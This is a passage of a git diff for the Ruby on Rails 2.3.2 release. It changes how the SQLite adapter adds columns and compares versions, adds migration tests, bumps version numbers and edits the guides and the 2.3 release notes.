a/activerecord/lib/active_record/connection_adapters/sqlite_adapter.rb b/activerecord/lib/active_record/connection_adapters/sqlite_adapter.rb index 6077ddcdb6..afd6472db8 100644 --- a/activerecord/lib/active_record/connection_adapters/sqlite_adapter.rb +++ b/activerecord/lib/active_record/connection_adapters/sqlite_adapter.rb @@ -72,6 +72,18 @@ module ActiveRecord # # * <tt>:database</tt> - Path to the database file. class SQLiteAdapter < AbstractAdapter + class Version + include Comparable + + def initialize(version_string) + @version = version_string.split('.').map(&:to_i) + end + + def <=>(version_string) + @version <=> version_string.split('.').map(&:to_i) + end + end + def initialize(connection, logger, config) super(connection, logger) @config = config @@ -81,6 +93,10 @@ module ActiveRecord 'SQLite' end + def supports_ddl_transactions? + sqlite_version >= '2.0.0' + end + def supports_migrations? #:nodoc: true end @@ -88,6 +104,10 @@ module ActiveRecord def requires_reloading? true end + + def supports_add_column? + sqlite_version >= '3.1.6' + end def disconnect! super @@ -169,7 +189,6 @@ module ActiveRecord catch_schema_changes { @connection.rollback } end - # SELECT ... FOR UPDATE is redundant since the table is locked. def add_lock!(sql, options) #:nodoc: sql @@ -218,14 +237,20 @@ module ActiveRecord execute "ALTER TABLE #{name} RENAME TO #{new_name}" end + # See: http://www.sqlite.org/lang_altertable.html + # SQLite has an additional restriction on the ALTER TABLE statement + def valid_alter_table_options( type, options) + type.to_sym != :primary_key + end + def add_column(table_name, column_name, type, options = {}) #:nodoc: - if @connection.respond_to?(:transaction_active?) && @connection.transaction_active? - raise StatementInvalid, 'Cannot add columns to a SQLite database while inside a transaction' + if supports_add_column? && valid_alter_table_options( type, options ) + super(table_name, column_name, type, options) + else + alter_table(table_name) do |definition| + definition.column(column_name, type, options) + end end - - super(table_name, column_name, type, options) - # See last paragraph on http://www.sqlite.org/lang_altertable.html - execute "VACUUM" end def remove_column(table_name, *column_names) #:nodoc: @@ -385,7 +410,7 @@ module ActiveRecord end def sqlite_version - @sqlite_version ||= select_value('select sqlite_version(*)') + @sqlite_version ||= SQLiteAdapter::Version.new(select_value('select sqlite_version(*)')) end def default_primary_key_type @@ -398,23 +423,9 @@ module ActiveRecord end class SQLite2Adapter < SQLiteAdapter # :nodoc: - def supports_count_distinct? #:nodoc: - false - end - def rename_table(name, new_name) move_table(name, new_name) end - - def add_column(table_name, column_name, type, options = {}) #:nodoc: - if @connection.respond_to?(:transaction_active?) && @connection.transaction_active? - raise StatementInvalid, 'Cannot add columns to a SQLite database while inside a transaction' - end - - alter_table(table_name) do |definition| - definition.column(column_name, type, options) - end - end end class DeprecatedSQLiteAdapter < SQLite2Adapter # :nodoc: diff --git a/activerecord/lib/active_record/validations.rb b/activerecord/lib/active_record/validations.rb index 4e084f071c..d2d12b80c9 100644 --- a/activerecord/lib/active_record/validations.rb +++ b/activerecord/lib/active_record/validations.rb @@ -802,7 +802,7 @@ module ActiveRecord # Validates whether the value of the specified attribute is available in a particular enumerable object. # # class Person < ActiveRecord::Base - # validates_inclusion_of :gender, :in => %w( m f ), :message => "woah! what are you then!??!!" + # validates_inclusion_of :gender, :in => %w( m f ) # validates_inclusion_of :age, :in => 0..99 # validates_inclusion_of :format, :in => %w( jpg gif png ), :message => "extension {{value}} is not included in the list" # end diff --git a/activerecord/lib/active_record/version.rb b/activerecord/lib/active_record/version.rb index 809e91897e..852807b4c5 100644 --- a/activerecord/lib/active_record/version.rb +++ b/activerecord/lib/active_record/version.rb @@ -2,7 +2,7 @@ module ActiveRecord module VERSION #:nodoc: MAJOR = 2 MINOR = 3 - TINY = 1 + TINY = 2 STRING = [MAJOR, MINOR, TINY].join('.') end diff --git a/activerecord/test/cases/migration_test.rb b/activerecord/test/cases/migration_test.rb index 50d039ec77..16861f21b1 100644 --- a/activerecord/test/cases/migration_test.rb +++ b/activerecord/test/cases/migration_test.rb @@ -93,6 +93,30 @@ if ActiveRecord::Base.connection.supports_migrations? end end + def testing_table_with_only_foo_attribute + Person.connection.create_table :testings, :id => false do |t| + t.column :foo, :string + end + + yield Person.connection + ensure + Person.connection.drop_table :testings rescue nil + end + protected :testing_table_with_only_foo_attribute + + def test_create_table_without_id + testing_table_with_only_foo_attribute do |connection| + assert_equal connection.columns(:testings).size, 1 + end + end + + def test_add_column_with_primary_key_attribute + testing_table_with_only_foo_attribute do |connection| + assert_nothing_raised { connection.add_column :testings, :id, :primary_key } + assert_equal connection.columns(:testings).size, 2 + end + end + def test_create_table_adds_id Person.connection.create_table :testings do |t| t.column :foo, :string @@ -928,7 +952,7 @@ if ActiveRecord::Base.connection.supports_migrations? assert_equal(0, ActiveRecord::Migrator.current_version) end - if current_adapter?(:PostgreSQLAdapter) + if ActiveRecord::Base.connection.supports_ddl_transactions? def test_migrator_one_up_with_exception_and_rollback assert !Person.column_methods_hash.include?(:last_name) diff --git a/activerecord/test/cases/transactions_test.rb b/activerecord/test/cases/transactions_test.rb index f9ae5115fc..f6533b5396 100644 --- a/activerecord/test/cases/transactions_test.rb +++ b/activerecord/test/cases/transactions_test.rb @@ -349,7 +349,7 @@ class TransactionTest < ActiveRecord::TestCase end end - def test_sqlite_add_column_in_transaction_raises_statement_invalid + def test_sqlite_add_column_in_transaction return true unless current_adapter?(:SQLite3Adapter, :SQLiteAdapter) # Test first if column creation/deletion works correctly when no @@ -368,10 +368,15 @@ class TransactionTest < ActiveRecord::TestCase assert !Topic.column_names.include?('stuff') end - # Test now inside a transaction: add_column should raise a StatementInvalid - Topic.transaction do - assert_raise(ActiveRecord::StatementInvalid) { Topic.connection.add_column('topics', 'stuff', :string) } - raise ActiveRecord::Rollback + if Topic.connection.supports_ddl_transactions? + assert_nothing_raised do + Topic.transaction { Topic.connection.add_column('topics', 'stuff', :string) } + end + else + Topic.transaction do + assert_raise(ActiveRecord::StatementInvalid) { Topic.connection.add_column('topics', 'stuff', :string) } + raise ActiveRecord::Rollback + end end end diff --git a/activeresource/CHANGELOG b/activeresource/CHANGELOG index ea0f7b1b1d..6572934893 100644 --- a/activeresource/CHANGELOG +++ b/activeresource/CHANGELOG @@ -1,11 +1,6 @@ -*2.3.1 [RC2] (March 5, 2009)* +*2.3.2 [Final] (March 15, 2009)* -* Nothing new, just included in 2.3.1 - - -*2.3.0 [RC1] (February 1st, 2009)* - -* Nothing new, just included in 2.3.0 +* Nothing new, just included in 2.3.2 *2.2.1 [RC2] (November 14th, 2008)* diff --git a/activeresource/Rakefile b/activeresource/Rakefile index fc67b52089..bf7bbb0201 100644 --- a/activeresource/Rakefile +++ b/activeresource/Rakefile @@ -67,7 +67,7 @@ spec = Gem::Specification.new do |s| s.files = s.files + Dir.glob( "#{dir}/**/*" ).delete_if { |item| item.include?( "\.svn" ) } end - s.add_dependency('activesupport', '= 2.3.1' + PKG_BUILD) + s.add_dependency('activesupport', '= 2.3.2' + PKG_BUILD) s.require_path = 'lib' s.autorequire = 'active_resource' diff --git a/activeresource/lib/active_resource/version.rb b/activeresource/lib/active_resource/version.rb index 4ac7eb1c06..3df2555d53 100644 --- a/activeresource/lib/active_resource/version.rb +++ b/activeresource/lib/active_resource/version.rb @@ -2,7 +2,7 @@ module ActiveResource module VERSION #:nodoc: MAJOR = 2 MINOR = 3 - TINY = 1 + TINY = 2 STRING = [MAJOR, MINOR, TINY].join('.') end diff --git a/activesupport/CHANGELOG b/activesupport/CHANGELOG index 8c6e724606..ab40e1a17a 100644 --- a/activesupport/CHANGELOG +++ b/activesupport/CHANGELOG @@ -1,11 +1,8 @@ -*Edge* +*2.3.2 [Final] (March 15, 2009)* * XmlMini supports LibXML and Nokogiri backends. #2084, #2190 [Bart ten Brinke, Aaron Patterson] Example: XmlMini.backend = 'Nokogiri' - -*2.3.1 [RC2] (March 5, 2009)* - * Vendorize i18n 0.1.3 gem (fixes issues with incompatible character encodings in Ruby 1.9) #2038 [Akira Matsuda] * Update bundled memcache-client from 1.5.0.5 to 1.6.4.99. See http://www.mikeperham.com/2009/02/15/memcache-client-performance/ [Mike Perham] @@ -18,9 +15,6 @@ * Introduce Array.wrap(foo) to wrap the argument in an array unless it's already an array. Wraps nil as an empty array. Use instead of Array(foo) and foo.to_a since they treat String as Enumerable. [Jeremy Kemper] - -*2.3.0 [RC1] (February 1st, 2009)* - * TimeWithZone#xmlschema accepts optional fraction_digits argument [#1725 state:resolved] [Nicholas Dainty] * Object#tap shim for Ruby < 1.8.7. Similar to Object#returning, tap yields self then returns self. [Jeremy Kemper] diff --git a/activesupport/lib/active_support/core_ext/date/calculations.rb b/activesupport/lib/active_support/core_ext/date/calculations.rb index 43d70c7013..7f94da015b 100644 --- a/activesupport/lib/active_support/core_ext/date/calculations.rb +++ b/activesupport/lib/active_support/core_ext/date/calculations.rb @@ -1,7 +1,7 @@ module ActiveSupport #:nodoc: module CoreExtensions #:nodoc: module Date #:nodoc: - # Enables the use of time calculations within Time itself + # Enables the use of time calculations within Date itself module Calculations def self.included(base) #:nodoc: base.extend ClassMethods diff --git a/activesupport/lib/active_support/version.rb b/activesupport/lib/active_support/version.rb index 8b65fffa08..30f598a8de 100644 --- a/activesupport/lib/active_support/version.rb +++ b/activesupport/lib/active_support/version.rb @@ -2,7 +2,7 @@ module ActiveSupport module VERSION #:nodoc: MAJOR = 2 MINOR = 3 - TINY = 1 + TINY = 2 STRING = [MAJOR, MINOR, TINY].join('.') end diff --git a/railties/CHANGELOG b/railties/CHANGELOG index de506dfbbb..e8e8434a62 100644 --- a/railties/CHANGELOG +++ b/railties/CHANGELOG @@ -1,10 +1,7 @@ -*2.3.1 [RC2] (March 5, 2009)* +*2.3.2 [Final] (March 15, 2009)* * Allow metal to live in plugins #2045 [Matthew Rudy] - -*2.3.0 [RC1] (February 1st, 2009)* - * Added metal [Josh Peek] * Remove script/performance/request in favour of the performance integration tests. [Pratik Naik] diff --git a/railties/Rakefile b/railties/Rakefile index 4b524f1c6f..6c0fc22629 100644 --- a/railties/Rakefile +++ b/railties/Rakefile @@ -311,11 +311,11 @@ spec = Gem::Specification.new do |s| EOF s.add_dependency('rake', '>= 0.8.3') - s.add_dependency('activesupport', '= 2.3.1' + PKG_BUILD) - s.add_dependency('activerecord', '= 2.3.1' + PKG_BUILD) - s.add_dependency('actionpack', '= 2.3.1' + PKG_BUILD) - s.add_dependency('actionmailer', '= 2.3.1' + PKG_BUILD) - s.add_dependency('activeresource', '= 2.3.1' + PKG_BUILD) + s.add_dependency('activesupport', '= 2.3.2' + PKG_BUILD) + s.add_dependency('activerecord', '= 2.3.2' + PKG_BUILD) + s.add_dependency('actionpack', '= 2.3.2' + PKG_BUILD) + s.add_dependency('actionmailer', '= 2.3.2' + PKG_BUILD) + s.add_dependency('activeresource', '= 2.3.2' + PKG_BUILD) s.rdoc_options << '--exclude' << '.' s.has_rdoc = false diff --git a/railties/builtin/rails_info/rails/info.rb b/railties/builtin/rails_info/rails/info.rb index 7b6f09ac69..a20d9bfe62 100644 --- a/railties/builtin/rails_info/rails/info.rb +++ b/railties/builtin/rails_info/rails/info.rb @@ -85,6 +85,10 @@ module Rails Gem::RubyGemsVersion end + property 'Rack version' do + ::Rack.release + end + # The Rails version. property 'Rails version' do Rails::VERSION::STRING diff --git a/railties/environments/boot.rb b/railties/environments/boot.rb index 0a516880ca..0ad0f787f8 100644 --- a/railties/environments/boot.rb +++ b/railties/environments/boot.rb @@ -44,6 +44,7 @@ module Rails def load_initializer require "#{RAILS_ROOT}/vendor/rails/railties/lib/initializer" Rails::Initializer.run(:install_gem_spec_stubs) + Rails::GemDependency.add_frozen_gem_path end end diff --git a/railties/guides/files/stylesheets/main.css b/railties/guides/files/stylesheets/main.css index 5061b130e3..d377628d73 100644 --- a/railties/guides/files/stylesheets/main.css +++ b/railties/guides/files/stylesheets/main.css @@ -337,7 +337,7 @@ h6 { margin-top: 0.25em; } -#mainCol dd.warning, #subCol dd.warning { +#mainCol div.warning, #subCol dd.warning { background: #f9d9d8 url(../../images/tab_red.gif) no-repeat left top; border: none; padding: 1.25em 1.25em 1.25em 48px; @@ -426,4 +426,16 @@ code { .clearfix {display: inline-block;} * html .clearfix {height: 1%;} .clearfix {display: block;} -.clear { clear:both; }
\ No newline at end of file +.clear { clear:both; } + +/* Same bottom margin for special boxes than for regular paragraphs, this way +intermediate whitespace looks uniform. */ +div.code_container, div.important, div.caution, div.warning, div.note, div.info { + margin-bottom: 1.5em; +} + +/* Remove bottom margin of paragraphs in special boxes, otherwise they get a +spurious blank area below with the box background. */ +div.important p, div.caution p, div.warning p, div.note p, div.info p { + margin-bottom: 0px; +} diff --git a/railties/guides/images/error_messages.png b/railties/guides/images/error_messages.png Binary files differindex 32de1cac21..428892194a 100644 --- a/railties/guides/images/error_messages.png +++ b/railties/guides/images/error_messages.png diff --git a/railties/guides/images/fxn.jpg b/railties/guides/images/fxn.jpg Binary files differnew file mode 100644 index 0000000000..b661a0e402 --- /dev/null +++ b/railties/guides/images/fxn.jpg diff --git a/railties/guides/images/i18n/demo_localized_pirate.png b/railties/guides/images/i18n/demo_localized_pirate.png Binary files differindex 22b93416a0..9134709573 100644 --- a/railties/guides/images/i18n/demo_localized_pirate.png +++ b/railties/guides/images/i18n/demo_localized_pirate.png diff --git a/railties/guides/images/i18n/demo_translated_en.png b/railties/guides/images/i18n/demo_translated_en.png Binary files differindex 7ea0c437a5..ecdd878d38 100644 --- a/railties/guides/images/i18n/demo_translated_en.png +++ b/railties/guides/images/i18n/demo_translated_en.png diff --git a/railties/guides/images/i18n/demo_translated_pirate.png b/railties/guides/images/i18n/demo_translated_pirate.png Binary files differindex 60ef370158..41c580923a 100644 --- a/railties/guides/images/i18n/demo_translated_pirate.png +++ b/railties/guides/images/i18n/demo_translated_pirate.png diff --git a/railties/guides/images/i18n/demo_translation_missing.png b/railties/guides/images/i18n/demo_translation_missing.png Binary files differindex 86a3121cc1..af9e2d0427 100644 --- a/railties/guides/images/i18n/demo_translation_missing.png +++ b/railties/guides/images/i18n/demo_translation_missing.png diff --git a/railties/guides/images/i18n/demo_untranslated.png b/railties/guides/images/i18n/demo_untranslated.png Binary files differindex e6717fb7d1..3603f43463 100644 --- a/railties/guides/images/i18n/demo_untranslated.png +++ b/railties/guides/images/i18n/demo_untranslated.png diff --git a/railties/guides/rails_guides.rb b/railties/guides/rails_guides.rb index 6da7de890e..b73e10e43f 100644 --- a/railties/guides/rails_guides.rb +++ b/railties/guides/rails_guides.rb @@ -1,17 +1,28 @@ pwd = File.dirname(__FILE__) $: << pwd -$: << File.join(pwd, "../../activesupport/lib") -$: << File.join(pwd, "../../actionpack/lib") -require "action_controller" -require "action_view" +begin + as_lib = File.join(pwd, "../../activesupport/lib") + ap_lib = File.join(pwd, "../../actionpack/lib") + + $: << as_lib if File.directory?(as_lib) + $: << ap_lib if File.directory?(ap_lib) + + require "action_controller" + require "action_view" +rescue LoadError + require 'rubygems' + gem "actionpack", '>= 2.3' + + require "action_controller" + require "action_view" +end -# Require rubygems after loading Action View -require 'rubygems' begin - gem 'RedCloth', '>= 4.1.1'# Need exactly 4.1.1 + require 'rubygems' + gem 'RedCloth', '>= 4.1.1' rescue Gem::LoadError - $stderr.puts %(Missing the RedCloth 4.1.1 gem.\nPlease `gem install -v=4.1.1 RedCloth` to generate the guides.) + $stderr.puts %(Generating Guides requires RedCloth 4.1.1+) exit 1 end diff --git a/railties/guides/rails_guides/generator.rb b/railties/guides/rails_guides/generator.rb index 18fdb81810..6c0d9f3c3b 100644 --- a/railties/guides/rails_guides/generator.rb +++ b/railties/guides/rails_guides/generator.rb @@ -57,7 +57,6 @@ module RailsGuides result = view.render(:layout => 'layout', :text => textile(body)) f.write result - warn_about_broken_links(result) end end end @@ -109,8 +108,8 @@ module RailsGuides end def textile(body) - # If the issue with nontextile is fixed just remove the wrapper. - with_workaround_for_nontextile(body) do |body| + # If the issue with notextile is fixed just remove the wrapper. + with_workaround_for_notextile(body) do |body| t = RedCloth.new(body) t.hard_breaks = false t.to_html(:notestuff, :plusplus, :code, :tip) @@ -120,35 +119,20 @@ module RailsGuides # For some reason the notextile tag does not always turn off textile. See # LH ticket of the security guide (#7). As a temporary workaround we deal # with code blocks by hand. - def with_workaround_for_nontextile(body) + def with_workaround_for_notextile(body) code_blocks = [] body.gsub!(%r{<(yaml|shell|ruby|erb|html|sql|plain)>(.*?)</\1>}m) do |m| es = ERB::Util.h($2) css_class = ['erb', 'shell'].include?($1) ? 'html' : $1 code_blocks << %{<div class="code_container"><code class="#{css_class}">#{es}</code></div>} - "dirty_workaround_for_nontextile_#{code_blocks.size - 1}" + "\ndirty_workaround_for_notextile_#{code_blocks.size - 1}\n" end body = yield body - body.gsub(%r{<p>dirty_workaround_for_nontextile_(\d+)</p>}) do |_| + body.gsub(%r{<p>dirty_workaround_for_notextile_(\d+)</p>}) do |_| code_blocks[$1.to_i] end end - - def warn_about_broken_links(html) - # Textile generates headers with IDs computed from titles. - anchors = Set.new(html.scan(/<h\d\s+id="([^"]+)/).flatten) - # Also, footnotes are rendered as paragraphs this way. - anchors += Set.new(html.scan(/<p\s+class="footnote"\s+id="([^"]+)/).flatten) - - # Check fragment identifiers. - html.scan(/<a\s+href="#([^"]+)/).flatten.each do |fragment_identifier| - next if fragment_identifier == 'mainCol' # in layout, jumps to some DIV - unless anchors.member?(fragment_identifier) - puts "BROKEN LINK: ##{fragment_identifier}" - end - end - end end end diff --git a/railties/guides/rails_guides/indexer.rb b/railties/guides/rails_guides/indexer.rb index 7cb254d0b0..5b5ad3fee1 100644 --- a/railties/guides/rails_guides/indexer.rb +++ b/railties/guides/rails_guides/indexer.rb @@ -29,7 +29,7 @@ module RailsGuides return level_hash elsif level == current_level index = counters.join(".") - bookmark = '#' + title.gsub(/[^a-z0-9\-_]+/i, '').underscore.dasherize + bookmark = '#' + title.strip.downcase.gsub(/\s+|_/, '-').delete('^a-z0-9-') raise "Parsing Fail" unless @result.sub!(matched, "h#{level}(#{bookmark}). #{index}#{title}") diff --git a/railties/guides/source/2_3_release_notes.textile b/railties/guides/source/2_3_release_notes.textile index c58cbc0b81..cc2e2dc20c 100644 --- a/railties/guides/source/2_3_release_notes.textile +++ b/railties/guides/source/2_3_release_notes.textile @@ -1,7 +1,5 @@ h2. Ruby on Rails 2.3 Release Notes -NOTE: These release notes refer to RC2 of Rails 2.3. This is a release candidate, and not the final version of Rails 2.3. It's intended to be a stable testing release, and we urge you to test your own applications and report any issues to the "Rails Lighthouse":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview. - Rails 2.3 delivers a variety of new and improved features, including pervasive Rack integration, refreshed support for Rails Engines, nested transactions for Active Record, dynamic and default scopes, unified rendering, more efficient routing, application templates, and quiet backtraces. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the "list of commits":http://github.com/rails/rails/commits/master in the main Rails repository on GitHub or review the +CHANGELOG+ files for the individual Rails components. endprologue. @@ -22,24 +20,25 @@ Rails has now broken with its CGI past, and uses Rack everywhere. This required Here's a summary of the rack-related changes: * +script/server+ has been switched to use Rack, which means it supports any Rack compatible server. +script/server+ will also pick up a rackup configuration file if one exists. By default, it will look for a +config.ru+ file, but you can override this with the +-c+ switch. -* The FCGI handler goes through Rack -* +ActionController::Dispatcher+ maintains its own default middleware stack. Middlewares can be injected in, reordered, and removed. The stack is compiled into a chain on boot. You can configure the middleware stack in +environment.rb+ +* The FCGI handler goes through Rack. +* +ActionController::Dispatcher+ maintains its own default middleware stack. Middlewares can be injected in, reordered, and removed. The stack is compiled into a chain on boot. You can configure the middleware stack in +environment.rb+. * The +rake middleware+ task has been added to inspect the middleware stack. This is useful for debugging the order of the middleware stack. * The integration test runner has been modified to execute the entire middleware and application stack. This makes integration tests perfect for testing Rack middleware. * +ActionController::CGIHandler+ is a backwards compatible CGI wrapper around Rack. The +CGIHandler+ is meant to take an old CGI object and convert its environment information into a Rack compatible form. -* +CgiRequest+ and +CgiResponse+ have been removed +* +CgiRequest+ and +CgiResponse+ have been removed. * Session stores are now lazy loaded. If you never access the session object during a request, it will never attempt to load the session data (parse the cookie, load the data from memcache, or lookup an Active Record object). -* +CGI::Session::CookieStore+ has been replaced by +ActionController::Session::CookieStore+ -* +CGI::Session::MemCacheStore+ has been replaced by +ActionController::Session::MemCacheStore+ -* +CGI::Session::ActiveRecordStore+ has been replaced by +ActiveRecord::SessionStore+ -* You can still change your session store with +ActionController::Base.session_store = :active_record_store+ -* Default sessions options are still set with +ActionController::Base.session = { :key => "..." }+ -* The mutex that normally wraps your entire request has been moved into middleware, +ActionController::Lock+ +* You no longer need to use +CGI::Cookie.new+ in your tests for setting a cookie value. Assigning a +String+ value to request.cookies["foo"] now sets the cookie as expected. +* +CGI::Session::CookieStore+ has been replaced by +ActionController::Session::CookieStore+. +* +CGI::Session::MemCacheStore+ has been replaced by +ActionController::Session::MemCacheStore+. +* +CGI::Session::ActiveRecordStore+ has been replaced by +ActiveRecord::SessionStore+. +* You can still change your session store with +ActionController::Base.session_store = :active_record_store+. +* Default sessions options are still set with +ActionController::Base.session = { :key => "..." }+. +* The mutex that normally wraps your entire request has been moved into middleware, +ActionController::Lock+. * +ActionController::AbstractRequest+ and +ActionController::Request+ have been unified. The new +ActionController::Request+ inherits from +Rack::Request+. This affects access to +response.headers['type']+ in test requests. Use +response.content_type+ instead. * +ActiveRecord::QueryCache+ middleware is automatically inserted onto the middleware stack if +ActiveRecord+ has been loaded. This middleware sets up and flushes the per-request Active Record query cache. * The Rails router and controller classes follow the Rack spec. You can call a controller directly with +SomeController.call(env)+. The router stores the routing parameters in +rack.routing_args+. -* +ActionController::Request+ inherits from +Rack::Request+ -* Instead of +config.action_controller.session = { :session_key => 'foo', ...+ use +config.action_controller.session = { :key => 'foo', ...+ +* +ActionController::Request+ inherits from +Rack::Request+. +* Instead of +config.action_controller.session = { :session_key => 'foo', ...+ use +config.action_controller.session = { :key => 'foo', ...+. * Using the +ParamsParser+ middleware preprocesses any XML, JSON, or YAML requests so they can be read normally with any +Rack::Request+ object after it. h4. Renewed Support for Rails Engines @@ -50,7 +49,7 @@ h3. Documentation The "Ruby on Rails guides":http://guides.rubyonrails.org/ project has published several additional guides for Rails 2.3. In addition, a "separate site":http://guides.rails.info/ maintains updated copies of the Guides for Edge Rails. Other documentation efforts include a relaunch of the "Rails wiki":http://newwiki.rubyonrails.org/ and early planning for a Rails Book. -* More Information: "Rails Documentation Projects":http://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects +* More Information: "Rails Documentation Projects":http://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects. h3. Ruby 1.9.1 Support @@ -140,19 +139,19 @@ end You can pass most of the +find+ options into +find_in_batches+. However, you cannot specify the order that records will be returned in (they will always be returned in ascending order of primary key, which must be an integer), or use the +:limit+ option. Instead, use the +:batch_size+ option, which defaults to 1000, to set the number of records that will be returned in each batch. -The new +each+ method provides a wrapper around +find_in_batches+ that returns individual records, with the find itself being done in batches (of 1000 by default): +The new +find_each+ method provides a wrapper around +find_in_batches+ that returns individual records, with the find itself being done in batches (of 1000 by default): <ruby> -Customer.each do |customer| +Customer.find_each do |customer| customer.update_account_balance! end </ruby> Note that you should only use this method for batch processing: for small numbers of records (less than 1000), you should just use the regular find methods with your own loop. -* More Information: - - "Rails 2.3: Batch Finding":http://afreshcup.com/2009/02/23/rails-23-batch-finding/ - - "What's New in Edge Rails: Batched Find":http://ryandaigle.com/articles/2009/2/23/what-s-new-in-edge-rails-batched-find +* More Information (at that point the convenience method was called just +each+): +** "Rails 2.3: Batch Finding":http://afreshcup.com/2009/02/23/rails-23-batch-finding/ +** "What's New in Edge Rails: Batched Find":http://ryandaigle.com/articles/2009/2/23/what-s-new-in-edge-rails-batched-find h4. Multiple Conditions for Callbacks @@ -175,18 +174,6 @@ developers = Developer.find(:all, :group => "salary", * Lead Contributor: "Emilio Tagua":http://github.com/miloops -h4. Hash Conditions for has_many relationships - -You can once again use a hash in conditions for a +has_many+ relationship: - -<ruby> -has_many :orders, :conditions => {:status => 'confirmed'} -</ruby> - -That worked in Rails 2.1, fails in Rails 2.2, and will now work again in Rails 2.3 (if you're dealing with this issue in Rails 2.2, you can use a string rather than a hash to specify conditions). - -* Lead Contributor: "Frederick Cheung":http://www.spacevatican.org/ - h4. Reconnecting MySQL Connections MySQL supports a reconnect flag in its connections - if set to true, then the client will try reconnecting to the server before giving up in case of a lost connection. You can now set +reconnect = true+ for your MySQL connections in +database.yml+ to get this behavior from a Rails application. The default is +false+, so the behavior of existing applications doesn't change. @@ -198,15 +185,17 @@ MySQL supports a reconnect flag in its connections - if set to true, then the cl h4. Other Active Record Changes -* An extra +AS+ was removed from the generated SQL for has_and_belongs_to_many preloading, making it work better for some databases. +* An extra +AS+ was removed from the generated SQL for +has_and_belongs_to_many+ preloading, making it work better for some databases. * +ActiveRecord::Base#new_record?+ now returns +false+ rather than +nil+ when confronted with an existing record. * A bug in quoting table names in some +has_many :through+ associations was fixed. * You can now specify a particular timestamp for +updated_at+ timestamps: +cust = Customer.create(:name => "ABC Industries", :updated_at => 1.day.ago)+ * Better error messages on failed +find_by_attribute!+ calls. * Active Record's +to_xml+ support gets just a little bit more flexible with the addition of a +:camelize+ option. -* A bug in canceling callbacks from +before_update+ or +before_create_ was fixed. +* A bug in canceling callbacks from +before_update+ or +before_create+ was fixed. * Rake tasks for testing databases via JDBC have been added. -* +validates_length_of+ will use a custom error message with the +:in+ or +:within+ options (if one is supplied) +* +validates_length_of+ will use a custom error message with the +:in+ or +:within+ options (if one is supplied). +* Counts on scoped selects now work properly, so you can do things like +Account.scoped(:select => "DISTINCT credit_limit").count+. +* +ActiveRecord::Base#invalid?+ now works as the opposite of +ActiveRecord::Base#valid?+. h3. Action Controller @@ -299,7 +288,7 @@ In some of the first fruits of the Rails-Merb team merger, Rails 2.3 includes so h4. Improved Caching Performance -Rails now keeps a per-request local cache of requests, cutting down on unnecessary reads and leading to better site performance. While this work was originally limited to +MemCacheStore+, it is available to any remote store than implements the required methods. +Rails now keeps a per-request local cache of read from the remote cache stores, cutting down on unnecessary reads and leading to better site performance. While this work was originally limited to +MemCacheStore+, it is available to any remote store than implements the required methods. * Lead Contributor: "Nahum Wild":http://www.motionstandingstill.com/ @@ -307,6 +296,8 @@ h4. Localized Views Rails can now provide localized views, depending on the locale that you have set. For example, suppose you have a +Posts+ controller with a +show+ action. By default, this will render +app/views/posts/show.html.erb+. But if you set +I18n.locale = :da+, it will render +app/views/posts/show.da.html.erb+. If the localized template isn't present, the undecorated version will be used. Rails also includes +I18n#available_locales+ and +I18n::SimpleBackend#available_locales+, which return an array of the translations that are available in the current Rails project. +In addition, you can use the same scheme to localize the rescue files in the +public+ directory: +public/500.da.html+ or +public/404.en.html+ work, for example. + h4. Partial Scoping for Translations A change to the translation API makes things easier and less repetitive to write key translations within partials. If you call +translate(".foo")+ from the +people/index.html.erb+ template, you'll actually be calling +I18n.translate("people.index.foo")+ If you don't prepend the key with a period, then the API doesn't scope, just as before. @@ -321,6 +312,9 @@ h4. Other Action Controller Changes * The +:only+ and +:except+ options for +map.resources+ are no longer inherited by nested resources. * The bundled memcached client has been updated to version 1.6.4.99. * The +expires_in+, +stale?+, and +fresh_when+ methods now accept a +:public+ option to make them work well with proxy caching. +* The +:requirements+ option now works properly with additional RESTful member routes. +* Shallow routes now properly respect namespaces. +* +polymorphic_url+ does a better job of handling objects with irregular plural names. h3. Action View @@ -439,6 +433,34 @@ returns </optgroup> </ruby> +h4. Disabled Option Tags for Form Select Helpers + +The form select helpers (such as +select+ and +options_for_select+) now support a +:disabled+ option, which can take a single value or an array of values to be disabled in the resulting tags: + +<ruby> +select(:post, :category, Post::CATEGORIES, :disabled => ‘private‘) +</ruby> + +returns + +<ruby> +<select name=“post[category]“> +<option>story</option> +<option>joke</option> +<option>poem</option> +<option disabled=“disabled“>private</option> +</select> +</ruby> + +You can also use an anonymous function to determine at runtime which options from collections will be selected and/or disabled: + +<ruby> +options_from_collection_for_select(@product.sizes, :name, :id, :disabled => lambda{|size| size.out_of_stock?}) +</ruby> + +* Lead Contributor: "Tekin Suleyman":http://tekin.co.uk/ +* More Information: "New in rails 2.3 - disabled option tags and lambdas for selecting and disabling options from collections":http://tekin.co.uk/2009/03/new-in-rails-23-disabled-option-tags-and-lambdas-for-selecting-and-disabling-options-from-collections/ + h4. A Note About Template Loading Rails 2.3 includes the ability to enable or disable cached templates for any particular environment. Cached templates give you a speed boost because they don't check for a new template file when they're rendered - but they also mean that you can't replace a template "on the fly" without restarting the server. @@ -472,6 +494,17 @@ h4. Object#tap Backport +Object#tap+ is an addition to "Ruby 1.9":http://www.ruby-doc.org/core-1.9/classes/Object.html#M000309 and 1.8.7 that is similar to the +returning+ method that Rails has had for a while: it yields to a block, and then returns the object that was yielded. Rails now includes code to make this available under older versions of Ruby as well. +h4. Swappable Parsers for XMLmini + +The support for XML parsing in ActiveSupport has been made more flexible by allowing you to swap in different parsers. By default, it uses the standard REXML implementation, but you can easily specify the faster LibXML or Nokogiri implementations for your own applications, provided you have the appropriate gems installed: + +<ruby> +XmlMini.backend = 'LibXML' +</ruby> + +* Lead Contributor: "Bart ten Brinke":http://www.movesonrails.com/ +* Lead Contributor: "Aaron Patterson":http://tenderlovemaking.com/ + h4. Fractional seconds for TimeWithZone The +Time+ and +TimeWithZone+ classes include an +xmlschema+ method to return the time in an XML-friendly string. As of Rails 2.3, +TimeWithZone+ supports the same argument for specifying the number of digits in the fractional second part of the returned string that +Time+ does: @@ -494,6 +527,10 @@ h4. Other Active Support Changes * +ActiveSupport::OrderedHash+: now implements +each_key+ and +each_value+. * +ActiveSupport::MessageEncryptor+ provides a simple way to encrypt information for storage in an untrusted location (like cookies). * Active Support's +from_xml+ no longer depends on XmlSimple. Instead, Rails now includes its own XmlMini implementation, with just the functionality that it requires. This lets 